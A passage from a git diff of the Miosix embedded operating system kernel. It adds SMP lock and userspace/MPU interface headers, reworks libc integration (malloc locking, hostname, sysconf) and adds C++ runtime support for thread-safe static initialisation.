in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces_private/smp_locks.h" +#include "kernel/lock.h" + +#ifndef COMPILING_MIOSIX +#error "This is header is private, it can't be used outside Miosix itself." +#error "If your code depends on a private header, it IS broken." +#endif //COMPILING_MIOSIX + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file smp.h + * This file defines the functions required to support multi-core platforms. + * These functions only exist if the WITH_SMP macro is defined in the kernel + * settings. + */ + +namespace miosix { + +#ifdef WITH_SMP + +/** + * \name SMP setup and teardown + * \{ + */ + +/** + * \internal + * Starts symmetric multi-processing (SMP) support, enabling all cores and + * initializing their state. This function must be called while holding the + * Global Irq Lock (GIL). The main functions for the other cores will start + * executing with interrupts disabled, but with the GIL not taken. + * + * \param stackPtrs An array with one initial process stack pointer + * for each core except core 0. + * \param mains An array with one pointer to a main function + * for each core except core 0. + */ +void IRQinitSMP(void *const stackPtrs[], void (*const mains[])()) noexcept; + +/** + * \internal + * Stops SMP support, for example because an unrecoverable system error + * happened, by stopping all cores except the current one. + * This function may be also called with interrupts locally disabled and the + * GIL not yet taken. + */ +void IRQlockupOtherCores() noexcept; + +/** + * \} + */ + +/** + * \name Inter-processor operations + * \{ + */ + +/** + * \internal + * Asynchronously call IRQinvokeScheduler on the specified core. + * Note that if this function is called very frequently and the target processor + * is very busy, multiple calls to IRQinvokeScheduler may be coalesced into one. + */ +void IRQinvokeSchedulerOnCore(unsigned char core) noexcept; + +/** + * \internal + * Synchronously executes a given function on a specific core within an + * interrupt context. + * This function must be called while holding the global interrupt lock (GIL) + * but it will release the GIL while waiting for the function to complete. + * The function executed will also be run while holding the GIL. + * + * \param lock A GlobalIrqLock (GIL) lock that must be already taken here. + * \param core The core ID where to execute the function. + * \param f The function to execute on the core. + * \param arg The argument to pass to the function. + */ +void IRQcallOnCore(GlobalIrqLock& lock, unsigned char core, void (*f)(void *), + void *arg) noexcept; + +/** + * \} + */ + +#endif //WITH_SMP + +} // namespace miosix + +/** + * \} + */ diff --git a/miosix/interfaces_private/smp_locks.h b/miosix/interfaces_private/smp_locks.h new file mode 100644 index 000000000..598ceeb25 --- /dev/null +++ b/miosix/interfaces_private/smp_locks.h @@ -0,0 +1,139 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +//TODO: despite being a private interface, it is included by kernel/lock.h + +#include "miosix_settings.h" + +/** + * \addtogroup Interfaces + * \{ + */ + + /** + * \file smp_locks.h + * This file defines the functions required to support locking on multi-core + * platforms. + * These functions only exist if the WITH_SMP macro is defined in the kernel + * settings. + */ + +namespace miosix { + +#ifdef WITH_SMP + +/** + * \name Inter-processor hardware locking + * \{ + */ + +/// \internal +/// Definition of statically allocated hardware locks +/// In a namespace to allow extension while keeping enum-class-like syntax +namespace HwLocks +{ + using ID = unsigned char; + enum + { + GIL = 0, /// Global interrupt lock + PK, /// Pause kernel lock + KernelMax + }; +} + +/** + * \internal + * Acquire an Hardware Irq Lock, meant to synchronize between threads and + * interrupt handler on SMP platforms. This will be typically implemented in a + * spinlock-like way. + * This function can be called: + * - outside an interrupt handler, but with local interrupts disabled, + * - inside an interrupt handler. + * \param i The ID of the lock. + */ +inline void irqDisabledHwIrqLockAcquire(HwLocks::ID i) noexcept; + +/** + * \internal + * Releases the specified Hardware Irq Lock. + * \param i The ID of the lock. + */ +inline void irqDisabledHwIrqLockRelease(HwLocks::ID i) noexcept; + + +/** + * \internal + * Acquire an Hardware Lock, meant to synchronize between threads only + * on SMP platforms. This will be typically implemented in a + * spinlock-like way. The difference from a Hardware *Irq* Lock is that + * this lock allows peripheral interrupts to be served during the wait. + * This function can be called only outside an interrupt handler, but with + * local interrupts disabled. + * \param i The ID of the lock. + */ +inline void irqDisabledHwLockAcquire(HwLocks::ID i) noexcept; + +/** + * \internal + * Releases the specified Hardware Lock. + * \param i The ID of the lock. + */ +inline void irqDisabledHwLockRelease(HwLocks::ID i) noexcept; + + +/** + * \internal + * Same as irqDisabledHwLockAcquire but local interrupts do not need to be + * disabled. + */ +inline void hwLockAcquire(HwLocks::ID i) noexcept; + +/** + * \internal + * Same as irqDisabledHwLockRelease but local interrupts do not need to be + * disabled. + */ +inline void hwLockRelease(HwLocks::ID i) noexcept; + +/** + * \} + */ + +#endif //WITH_SMP + +} // namespace miosix + +/** + * \} + */ + +#ifdef WITH_SMP +#include "interfaces-impl/smp_locks_impl.h" +#endif + diff --git a/miosix/interfaces_private/userspace.h b/miosix/interfaces_private/userspace.h new file mode 100644 index 000000000..d03594f1f --- /dev/null +++ b/miosix/interfaces_private/userspace.h @@ -0,0 +1,327 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifndef COMPILING_MIOSIX +#error "This is header is private, it can't be used outside Miosix itself." +#error "If your code depends on a private header, it IS broken." +#endif //COMPILING_MIOSIX + +#include +#include +#include "miosix_settings.h" +#include "interfaces/cpu_const.h" + +/** + * \addtogroup Interfaces + * \{ + */ +/** + * \file userspace.h + * This file contains cpu-specific functions used by the kernel to implement + * userspace support. + */ + +namespace miosix { + +#ifdef WITH_PROCESSES + +//Forward decl +class MPUConfiguration; + +/** + * \internal + * Initializes the context of the userspace side of a userspace thread that is + * being created. + * \param ctxsave a pointer to a field ctxsave inside a Thread class that need + * to be filled + * \param pc starting program counter of newly created thread + * \param argc number of arguments passed to main + * \param argvSp pointer to argument array. Since the args block is stored + * above the stack and this is the pointer into the first byte of the args + * block, this pointer doubles as the initial stack pointer when the process + * is started. + * \param envp pointer to environment variables + * \param gotBase base address of the global offset table, for userspace + * processes + * \param heapEnd when creating the main thread in a process, pass the pointer + * to the end of the heap area. When creating additional threads in the process, + * this value is irrelevant. In Miosix sbrk is not a syscall for processes as + * the memory area allocated to a process is fixed at process creation + */ +void initUserThreadCtxsave(unsigned int *ctxsave, unsigned int pc, int argc, + void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd); + +/** + * \internal + * Cause a supervisor call that will switch the kernelspace side of a userspace + * thread back to running in userspace + * + * This function shall return when the userspace thread causes an action that + * requires the kernel, such as a syscall or a fault + */ +inline void portableSwitchToUserspace(); + +/** + * \internal + * This class allows to access the parameters that a process passed to + * the kernel as part of a system call + */ +class SyscallParameters +{ +public: + /** + * Constructor, initialize the class starting from the thread's userspace + * context + * \param context the ctxSave array of the userspace side of the thread + * that caused the syscall. From this pointer, architecture specific code + * can extract the syscall parameters from registers and/or the stack. + */ + SyscallParameters(unsigned int *context); + + /** + * \return the syscall id, used to identify individual system calls + */ + unsigned int getSyscallId() const; + + /** + * \param index 0=first syscall parameter, 1=second syscall parameter, ... + * The maximum number of syscall parameters is MAX_NUM_SYSCALL_PARAMETERS + * \return the syscall parameter. The returned result is meaningful + * only if the syscall (identified through its id) has the requested parameter + */ + unsigned int getParameter(unsigned int index) const; + + /** + * Set the value that will be returned by the syscall. + * May invalidate the corresponding parameter so must be called only after + * the syscall parameteres have been read. + * \param index 0=first syscall parameter, 1=second syscall parameter, ... + * The maximum number of syscall parameters is MAX_NUM_SYSCALL_PARAMETERS + * \param value value that will be returned by the syscall. + */ + void setParameter(unsigned int index, unsigned int value); + + /** + * Currently Miosix requires room for 4 32bit values for syscall parameters. + * These parameters are treated as in/out parameters, as they can also be + * modified by the kernel and thus used as return values. + * All architectures must provide support for this number of parameters to + * make the architecture-independent syscall handling code work + */ + static constexpr int MAX_NUM_SYSCALL_PARAMETERS=4; + +private: + unsigned int *archPtr; ///< Architecture-specific pointer +}; + +/** + * \internal + * This function is used to get only the syscall ID without the need to + * instantiate a full SyscallParameters class. TIf you need access also the the + * syscall parameters, not just to the syscall ID then SyscallParameters is + * needed. + * \param context the ctxSave array of the thread. Unlike SyscallParameters, + * this function shall work also with the kernelspace context for returning from + * syscalls. + * \return the syscall id, used to identify individual system calls + */ +inline unsigned int peekSyscallId(unsigned int *context); + +/** + * \internal + * This class contains information about whether a fault occurred in a process. + * It is used to terminate processes that fault. + */ +class FaultData +{ +public: + /** + * Constructor, initializes the object to a no-fault state + */ + FaultData() : id(0) {} + + /** + * Constructor, initializes a FaultData object + * \param id id of the fault + * \param arg eventual additional argument, depending on the fault id + */ + explicit FaultData(int id, unsigned int arg=0) : id(id), arg(arg) {} + + /** + * Try to reconstruct the value of the program counter at the moment of the + * fault and add it to the fault information. Depending on the architecture + * and how badly the process crashed, this may not be possible. + * \param userCtxsave saved context of the userspace thread that faulted + * \param mpu memory protection data for the current process to perform + * bound checking if required by the architecture + */ + void IRQtryAddProgramCounter(unsigned int *userCtxsave, + const MPUConfiguration& mpu); + + /** + * \return true if a fault happened within a process + */ + bool faultHappened() const { return id!=0; } + + /** + * Can be called inside an interrupt + * \return true if a fault happened within a process + */ + bool IRQfaultHappened() const { return id!=0; } + + /** + * Print information about the occurred fault + */ + void print() const; + +private: + int id; ///< Id of the fault or zero if no faults + unsigned int pc=0xbadadd; ///< Program counter value at the time of the fault + unsigned int arg;///< Eventual argument, valid only for some id values +}; + +/** + * \internal + * This class is used to manage the MemoryProtectionUnit dynamic reconfiguration + * whenever performing a context switch towards a userspace process + */ +class MPUConfiguration +{ +public: + /** + * Default constructor, leaves the MPU regions unconfigured + */ + MPUConfiguration() {} + + /** + * Provide a valid MPU configuration allowing access only to the memory + * regions of a process + * \param elfBase base address of the ELF file + * \param elfSize size of the ELF file + * \param imageBase base address of the Process RAM image + * \param imageSize size of the Process RAM image + */ + MPUConfiguration(const unsigned int *elfBase, unsigned int elfSize, + const unsigned int *imageBase, unsigned int imageSize); + + /** + * This method is used to configure and enable the Memoy Protection regions + * for a Process during a context-switch to a userspace thread. + * Can only be called inside an IRQ, not even with interrupts disabled. + * NOTE: This function enables the MPU, not interrupts. + */ + void IRQenable(); + + /** + * This method is used to disable the userspace MPU regions during a + * context-switch to a kernelspace thread. + * Can only be called inside an IRQ, not even with interrupts disabled. + * NOTE: This function disables the MPU, not interrupts. + */ + static void IRQdisable(); + + /** + * Print the MPU configuration for debugging purposes + */ + void dumpConfiguration(); + + /** + * Some MPU implementations may not allow regions of arbitrary size, + * this function allows to round a memory region up to the minimum value + * that the MPU support. + * \param ptr pointer to the original memory region + * \param size original size of the memory region + * \return a pair with a possibly enlarged memory region which contains the + * original memory region but is aligned to be used as an MPU region + */ + static std::tuple + roundRegionForMPU(const unsigned int *ptr, unsigned int size); + + /** + * Check if a buffer is within a readable segment of the process + * \param ptr base pointer of the buffer to check + * \param size buffer size + * \return true if the buffer is correctly within the process + */ + bool withinForReading(const void *ptr, size_t size) const; + + /** + * Check if a buffer is within a writable segment of the process + * \param ptr base pointer of the buffer to check + * \param size buffer size + * \return true if the buffer is correctly within the process + */ + bool withinForWriting(const void *ptr, size_t size) const; + + /** + * Check if a nul terminated string is entirely contained in the process, + * \param str a pointer to a nul terminated string + * \return true if the buffer is correctly within the process + */ + bool withinForReading(const char *str) const; + + //Uses default copy constructor and operator= +private: + #ifndef __CORTEX_M + #error Invalid MPUConfiguration for this architecture + #endif + + #if defined(__CORTEX_M) && __CORTEX_M == 33 && __MPU_PRESENT==1 + ///ARMv8M does not allow MPU regions to overlap, we are forced to use 6 + ///regions that are dynamically changed at run-time to replace the + ///kernelspace MPU configuration. + unsigned int regValues[12]; + ///Moreover, when context switching back to the kernel we need to restore + ///the kernelspace MPU configuration. Doing so only requires to use regions + ///0 and 1, regions 2 to 5 are simply disabled + static unsigned int kernelspaceMpuConfiguration[4]; + + friend void IRQenableMPU(); //Needs access to kernelspaceMpuConfiguration + #else //defined(__CORTEX_M) && __CORTEX_M == 33 && __MPU_PRESENT==1 + ///ARMv6M and v7M allow MPU regions to overlap, thus we can use only two + ///regions, one for the process code, one for data, and overlay them on top + ///of the kernelspace MPU regions + ///These value are copied into the MPU registers to configure them + ///Miosix processes only need two regions (code and data), since each MPU + ///region requires two registers to be configured, we need 4 registers + ///When no MPU is present, we reuse these 4 variables to just store the + ///start and end of the two regions (code, data) of the process + unsigned int regValues[4]; + #endif //defined(__CORTEX_M) && __CORTEX_M == 33 && __MPU_PRESENT==1 +}; + +#endif //WITH_PROCESSES + +} //namespace miosix + +/** + * \} + */ + +#include "interfaces-impl/userspace_impl.h" diff --git a/miosix/stdlib_integration/libc_integration.cpp b/miosix/kercalls/libc_integration.cpp similarity index 89% rename from miosix/stdlib_integration/libc_integration.cpp rename to miosix/kercalls/libc_integration.cpp index e19beb4c5..bc35e66e3 100644 --- a/miosix/stdlib_integration/libc_integration.cpp +++ b/miosix/kercalls/libc_integration.cpp @@ -38,16 +38,18 @@ #include #include //// Settings -#include "config/miosix_settings.h" +#include "miosix_settings.h" //// Filesystem #include "filesystem/file_access.h" //// Console #include "kernel/logging.h" //// kernel interface -#include "kernel/kernel.h" +#include "kernel/thread.h" #include "kernel/process.h" #include "interfaces/bsp.h" -#include "interfaces/os_timer.h" +#include "interfaces/poweroff.h" +#include "interfaces_private/os_timer.h" +#include "interfaces/cpu_const.h" using namespace std; @@ -88,14 +90,37 @@ void setCReentrancyCallback(struct _reent *(*callback)()) { getReent=callback; } } //namespace miosix -#ifdef __cplusplus -extern "C" { -#endif // // C atexit support, for thread safety and code size optimizations // =============================================================== +/** + * \internal + * Required by C++ standard library. + * See http://lists.debian.org/debian-gcc/2003/07/msg00057.html + * + * __dso_handle is referenced by atexit and by global destructors to + * discriminate between loaded binary objects --- i.e. it is used to implement + * the fact that when a shared object is unloaded, only the atexit functions + * that belong to that SO are effectively called. + * It is also used by GCC itself to implement global destructors; in that + * case, a reference to it is lazily added when necessary by the code in GCC + * (see decl.cc:10352 in GCC 15.2.0, function get_dso_handle_node()). + * This symbol is normally declared in crt0, but we do not link with the + * standard GCC crt0, so we have to provide the declaration ourselves. + * Due to a quirk of how GCC's symbol reference generation works, since this + * is a .cpp file, the symbol is marked as extern C++ despite it should not (and + * in fact the symbol is not mangled). To prevent compilation errors due to + * declaration mismatch, we need to declare the symbol as extern C++ ourselves, + * forcing the symbol name with asm() to defeat the mangling. + */ +void *__dso_handle asm("__dso_handle")=(void*) &__dso_handle; + +#ifdef __cplusplus +extern "C" { +#endif + // Prior to Miosix 1.58 atexit was effectively unimplemented, but its partial // support in newlib used ~384bytes of RAM. Within the kernel it will always // be unimplemented, so newlib has been patched not to waste RAM. @@ -129,15 +154,6 @@ int __register_exitproc(int type, void (*fn)(void*), void *arg, void *d) */ void __call_exitprocs(int code, void *d) {} -/** - * \internal - * Required by C++ standard library. - * See http://lists.debian.org/debian-gcc/2003/07/msg00057.html - */ -void *__dso_handle=(void*) &__dso_handle; - - - // // C/C++ system calls, to support malloc, printf, fopen, etc. @@ -149,7 +165,7 @@ void *__dso_handle=(void*) &__dso_handle; */ void _exit(int n) { - miosix::reboot(); + miosix::shutdown(); //Never reach here for(;;) ; //Required to avoid a warning about noreturn functions } @@ -180,8 +196,7 @@ void *_sbrk_r(struct _reent *ptr, ptrdiff_t incr) // When exceptions are disabled operator new would return nullptr, which // would cause undefined behaviour. So when exceptions are disabled, // a heap overflow causes a reboot. - errorLog("\n***Heap overflow\n"); - _exit(1); + miosix::errorHandler(miosix::Error::OUT_OF_MEMORY); #else //__NO_EXCEPTIONS return reinterpret_cast(-1); #endif //__NO_EXCEPTIONS @@ -199,6 +214,25 @@ void *sbrk(ptrdiff_t incr) return _sbrk_r(miosix::getReent(),incr); } +namespace miosix { + +static unsigned int mallocLockRecursiveCount=0; + +// These functions are friends of PauseKernelLock. For mysterious reasons one +// cannot make an extern C function a friend of a class. +extern "C++" inline void mallocLockImpl() +{ + if(PauseKernelLock::pushLock()) mallocLockRecursiveCount++; +} + +extern "C++" inline void mallocUnlockImpl() +{ + if(mallocLockRecursiveCount>0) mallocLockRecursiveCount--; + else PauseKernelLock::unlock(); +} + +} // namespace miosix + /** * \internal * __malloc_lock, called by malloc to ensure no context switch happens during @@ -213,7 +247,7 @@ void *sbrk(ptrdiff_t incr) */ void __malloc_lock() { - miosix::pauseKernel(); + miosix::mallocLockImpl(); } /** @@ -222,7 +256,7 @@ void __malloc_lock() */ void __malloc_unlock() { - miosix::restartKernel(); + miosix::mallocUnlockImpl(); } /** @@ -337,7 +371,7 @@ ssize_t _write_r(struct _reent *ptr, int fd, const void *buf, size_t size) #else //WITH_FILESYSTEM if(fd==STDOUT_FILENO || fd==STDERR_FILENO) { - ssize_t result=miosix::DefaultConsole::instance().getTerminal()->write(buf,size); + ssize_t result=miosix::getDefaultTerminal()->write(buf,size); if(result>=0) return result; ptr->_errno=-result; return -1; @@ -378,7 +412,7 @@ ssize_t _read_r(struct _reent *ptr, int fd, void *buf, size_t size) #else //WITH_FILESYSTEM if(fd==STDIN_FILENO) { - ssize_t result=miosix::DefaultConsole::instance().getTerminal()->read(buf,size); + ssize_t result=miosix::getDefaultTerminal()->read(buf,size); if(result>=0) return result; ptr->_errno=-result; return -1; @@ -651,7 +685,7 @@ int _ioctl_r(struct _reent *ptr, int fd, int cmd, void *arg) #else //WITH_FILESYSTEM if(fd==STDIN_FILENO || fd==STDOUT_FILENO || fd==STDERR_FILENO) { - int result=miosix::DefaultConsole::instance().getTerminal()->ioctl(cmd,arg); + int result=miosix::getDefaultTerminal()->ioctl(cmd,arg); if(result>=0) return result; ptr->_errno=-result; return -1; @@ -1110,24 +1144,24 @@ int pipe(int fds[2]) int clock_gettime(clockid_t clock_id, struct timespec *tp) { if(tp==nullptr) return -1; - //TODO: support CLOCK_REALTIME + //TODO: support CLOCK_REALTIME and set errno on failure miosix::ll2timespec(miosix::getTime(),tp); return 0; } int clock_settime(clockid_t clock_id, const struct timespec *tp) { - //TODO: support CLOCK_REALTIME + //TODO: support CLOCK_REALTIME and set errno on failure return -1; } int clock_getres(clockid_t clock_id, struct timespec *res) { if(res==nullptr) return -1; - //TODO: support CLOCK_REALTIME + //TODO: support CLOCK_REALTIME and set errno on failure //Integer division with round-to-nearest for better accuracy - int resolution=2*miosix::nsPerSec/miosix::internal::osTimerGetFrequency(); + int resolution=2*miosix::nsPerSec/miosix::osTimerGetFrequency(); resolution=(resolution & 1) ? resolution/2+1 : resolution/2; res->tv_sec=0; @@ -1138,7 +1172,10 @@ int clock_getres(clockid_t clock_id, struct timespec *res) int clock_nanosleep(clockid_t clock_id, int flags, const struct timespec *req, struct timespec *rem) { - if(req==nullptr) return -1; + //NOTE: unlike clock_gettime, clock_settime and clock_getres which return -1 + //and set errno on failure, this function does not set errno and returns the + //error, go figure + if(req==nullptr) return EFAULT; //TODO: support CLOCK_REALTIME long long timeNs=miosix::timespec2ll(req); if(flags!=TIMER_ABSTIME) timeNs+=miosix::getTime(); @@ -1167,7 +1204,7 @@ clock_t _times_r(struct _reent *ptr, struct tms *tim) //huge number (100 for Miosix's implementation). //To solve the ambiguity Miosix never returns 0xffffffff except in case of //error. If tim.utime happens to be 0xffffffff, _times_r returns 0 instead. - //We also implement the Linux extension where tim can be NULL. + //We also implement the Linux extension where tim can be nullptr. if(tim!=nullptr) { tim->tms_utime=utime; @@ -1296,14 +1333,14 @@ int _execve_r(struct _reent *ptr, const char *path, char *const argv[], char *const env[]) { #ifdef WITH_PROCESSES - ptr->_errno=-EFAULT; + ptr->_errno=EFAULT; return -1; #else //WITH_PROCESSES return -1; #endif //WITH_PROCESSES } -int execve(const char *path, char *const argv[], char *const env[]) +int _execve(const char *path, char *const argv[], char *const env[]) { return _execve_r(miosix::getReent(),path,argv,env); } @@ -1345,6 +1382,51 @@ int posix_spawn(pid_t *pid, const char *path, #endif +constexpr int hostnameMax=64; //Actual maximum size is one char less due to \0 +char *hostname=nullptr; + +int gethostname(char *name, size_t size) +{ + strncpy(name,hostname ? hostname : "",size); + return 0; +} + +int sethostname(const char *name, size_t size) +{ + if(size>=hostnameMax) + { + errno=EINVAL; + return -1; + } + char *oldHostname=hostname; + hostname=strndup(name,size); + free(oldHostname); + return 0; +} + + +long int sysconf(int query) +{ + switch(query) + { + case _SC_NPROCESSORS_CONF: + case _SC_NPROCESSORS_ONLN: + return miosix::CPU_NUM_CORES; + case _SC_HOST_NAME_MAX: + return hostnameMax; + case _SC_THREAD_STACK_MIN: + return miosix::STACK_MIN; + // Miosix-specific sysconf, used by memoryprofiling.cpp in userspace + case 100000: + return miosix::WATERMARK_LEN; + case 100001: + return (miosix::STACK_FILL & 0xff); + case 100002: + return miosix::CTXSAVE_ON_STACK; + default: + return -EINVAL; + } +} // diff --git a/miosix/stdlib_integration/libc_integration.h b/miosix/kercalls/libc_integration.h similarity index 97% rename from miosix/stdlib_integration/libc_integration.h rename to miosix/kercalls/libc_integration.h index 8e60d2947..117cc7e22 100644 --- a/miosix/stdlib_integration/libc_integration.h +++ b/miosix/kercalls/libc_integration.h @@ -78,7 +78,7 @@ inline long long timespec2ll(const struct timespec *tp) */ inline void ll2timespec(long long ns, struct timespec *tp) { - #ifdef __ARM_EABI__ + #if defined(__ARM_EABI__) && defined(__GNUC__) && !defined(__clang__) // Despite there being a single intrinsic, __aeabi_ldivmod, that computes // both the result of the / and % operator, GCC 9.2.0 isn't smart enough and // calls the intrinsic twice. This asm implementation takes ~188 cycles @@ -91,11 +91,11 @@ inline void ll2timespec(long long ns, struct timespec *tp) asm volatile("bl __aeabi_ldivmod" : "+r"(a), "+r"(b) :: "lr"); tp->tv_sec = a; tp->tv_nsec = static_cast(b); - #else //__ARM_EABI__ + #else #warning Warning POSIX time API not optimized for this platform tp->tv_sec = ns / nsPerSec; tp->tv_nsec = static_cast(ns % nsPerSec); - #endif //__ARM_EABI__ + #endif } } //namespace miosix diff --git a/miosix/kercalls/libstdcpp_integration.cpp b/miosix/kercalls/libstdcpp_integration.cpp new file mode 100644 index 000000000..c92d448d4 --- /dev/null +++ b/miosix/kercalls/libstdcpp_integration.cpp @@ -0,0 +1,280 @@ +/*************************************************************************** + * Copyright (C) 2008-2019 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "libstdcpp_integration.h" +#include +#include +#include +#include +#include +//// Settings +#include "miosix_settings.h" +//// Console +#include "kernel/logging.h" +//// kernel interface +#include "kernel/thread.h" +#include "kernel/lock.h" + +using namespace std; + +// +// C++ exception support +// ===================== + +namespace miosix { + +class CppReentrancyAccessor +{ +public: + static __cxxabiv1::__cxa_eh_globals *getEhGlobals() + { + return &miosix::Thread::getCurrentThread()->cppReentrancyData.eh_globals; + } + + #ifndef __ARM_EABI__ + static void *getSjljPtr() + { + return miosix::Thread::getCurrentThread()->cppReentrancyData.sjlj_ptr; + } + + static void setSjljPtr(void *ptr) + { + miosix::Thread::getCurrentThread()->cppReentrancyData.sjlj_ptr=ptr; + } + #endif //__ARM_EABI__ +}; + +} //namespace miosix + +/* + * If exception support enabled, ensure it is thread safe. + * The functions __cxa_get_globals_fast() and __cxa_get_globals() need to + * return a per-thread data structure. Given that thread local storage isn't + * implemented in Miosix, libstdc++ was patched to make these functions syscalls + */ +namespace __cxxabiv1 +{ + +extern "C" __cxa_eh_globals* __cxa_get_globals_fast() +{ + return miosix::CppReentrancyAccessor::getEhGlobals(); +} + +extern "C" __cxa_eh_globals* __cxa_get_globals() +{ + return miosix::CppReentrancyAccessor::getEhGlobals(); +} + +#ifndef __ARM_EABI__ +extern "C" void _Miosix_set_sjlj_ptr(void* ptr) +{ + miosix::CppReentrancyAccessor::setSjljPtr(ptr); +} + +extern "C" void *_Miosix_get_sjlj_ptr() +{ + return miosix::CppReentrancyAccessor::getSjljPtr(); +} +#endif //__ARM_EABI__ + +} //namespace __cxxabiv1 + + + + +// +// C++ static constructors support, to achieve thread safety +// ========================================================= + +// __guard serves the double task of being the waiting list head, and being the +// flag to signal that the object is initialized or not. +// This is because, despite almost everywhere in GCC's documentation it is said +// that __guard is 8 bytes, it is actually only 4 so we fit a two bit flag in +// the two least significant bits and a pointer in the other bits. +// Additionally, the compiler adds some instructions to check __guard too, so we +// MUST use bit 0 of __guard to signal that the object is initialized (1) or +// not (0). This implementation works on the assumption that the pointer to list +// item don't use bits 0 and 1, hence the alignas requirement to be extra sure +struct alignas(4) MiosixGuardListItem +{ + miosix::Thread *t; + MiosixGuardListItem *next; +}; + +static unsigned int flagGet(__cxxabiv1::__guard *g) +{ + return *reinterpret_cast(g) & 0b11; +} + +static void flagSet(__cxxabiv1::__guard *g, unsigned int flag) +{ + // NOTE: in the code path following a __cxa_guard_abort the first thread in + // the list is awakened, but there may be more, so use read-modify-write to + // set flag bits without losing the list head + unsigned int *data=reinterpret_cast(g); + *data = (*data & ~0b11) | (flag & 0b11); +} + +static void flagSetAndClearListHead(__cxxabiv1::__guard *g, unsigned int flag) +{ + unsigned int *data=reinterpret_cast(g); + *data = flag & 0b11; +} + +static MiosixGuardListItem *listHeadGet(__cxxabiv1::__guard *g) +{ + unsigned int *data=reinterpret_cast(g); + return reinterpret_cast((*data) & ~0b11); +} + +static void listHeadSet(__cxxabiv1::__guard *g, MiosixGuardListItem *head) +{ + unsigned int *data=reinterpret_cast(g); + *data = (*data & 0b11) | (reinterpret_cast(head) & ~0b11); +} + +namespace __cxxabiv1 +{ +/** + * Used to initialize static objects only once, in a threadsafe way + * \param g guard struct + * \return 0 if object already initialized, 1 if this thread has to initialize + * it, or lock if another thread has already started initializing it + */ +extern "C" int __cxa_guard_acquire(__guard *g) +{ + miosix::PauseKernelLock dLock; + for(;;) + { + auto flag=flagGet(g); + if(flag==1) return 0; // Object already initialized, good + + if(flag==0) + { + // Object uninitialized, and no other thread trying to initialize it + flagSet(g,2); + return 1; + } + // If we get here, the object is being initialized by another thread, + // so we need to wait. + MiosixGuardListItem item; + item.t=miosix::Thread::PKgetCurrentThread(); + // NOTE: we could sort the list of waiting threads by priority but the + // most common case is that the object initialization completes + // successfully and in this case all waiting threads are awakend at the + // same time, so lifo order is chosen to have O(1) insertion/removal. + // Moreover, if in the future we really want to sort the list by + // priority we must re-sort it if a thread waiting here has also locked + // a mutex with priority inheritance and its priority got boosted... + item.next=listHeadGet(g); + listHeadSet(g,&item); + // While loop to protect against spurious wakeups + while(item.t!=nullptr) item.t->PKrestartKernelAndWait(dLock); + } +} + +/** + * Called after the thread has successfully initialized the object + * \param g guard struct + */ +extern "C" void __cxa_guard_release(__guard *g) noexcept +{ + miosix::PauseKernelLock dLock; + for(auto *walk=listHeadGet(g);walk!=nullptr;walk=walk->next) + { + walk->t->PKwakeup(); + walk->t=nullptr; + } + flagSetAndClearListHead(g,1); //All threads awakened, also clear list ptr +} + +/** + * Called if an exception was thrown while the object was being initialized + * \param g guard struct + */ +extern "C" void __cxa_guard_abort(__guard *g) noexcept +{ + miosix::PauseKernelLock dLock; + auto *head=listHeadGet(g); + if(head!=nullptr) + { + head->t->PKwakeup(); + head->t=nullptr; + listHeadSet(g,head->next); + } + flagSet(g,0); +} + +} //namespace __cxxabiv1 + +// +// libatomic support, to provide thread safe atomic operation fallbacks +// ==================================================================== + +// 